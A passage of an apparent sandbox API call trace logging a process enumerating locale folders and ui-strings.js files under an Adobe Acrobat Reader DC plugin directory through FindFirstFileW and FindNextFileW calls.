nFileSizeHigh=0x0, nFileSizeLow=0x409, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.501] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.501] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.502] GetProcessHeap () returned 0xc10000 [0258.502] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.502] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0258.502] GetProcessHeap () returned 0xc10000 [0258.502] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.502] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.502] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.502] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.502] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.502] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.503] GetProcessHeap () returned 0xc10000 [0258.503] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.503] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0258.503] GetProcessHeap () returned 0xc10000 [0258.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x479, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.503] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x479, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.504] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.504] GetProcessHeap () returned 0xc10000 [0258.504] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.504] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0258.504] GetProcessHeap () returned 0xc10000 [0258.504] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.505] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.505] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.505] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.505] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.505] GetProcessHeap () returned 0xc10000 [0258.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.505] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0258.506] GetProcessHeap () returned 0xc10000 [0258.506] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.552] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.552] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.552] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.552] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.553] GetProcessHeap () returned 0xc10000 [0258.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.553] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0258.553] GetProcessHeap () returned 0xc10000 [0258.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.554] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.554] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.554] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.554] GetProcessHeap () returned 0xc10000 [0258.554] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.554] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0258.554] GetProcessHeap () returned 0xc10000 [0258.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.555] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.555] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.555] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.555] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.555] GetProcessHeap () returned 0xc10000 [0258.555] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.555] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0258.555] GetProcessHeap () returned 0xc10000 [0258.555] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.941] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.941] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.941] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.941] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.942] GetProcessHeap () returned 0xc10000 [0258.942] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.942] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.942] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0258.942] GetProcessHeap () returned 0xc10000 [0258.942] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.943] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 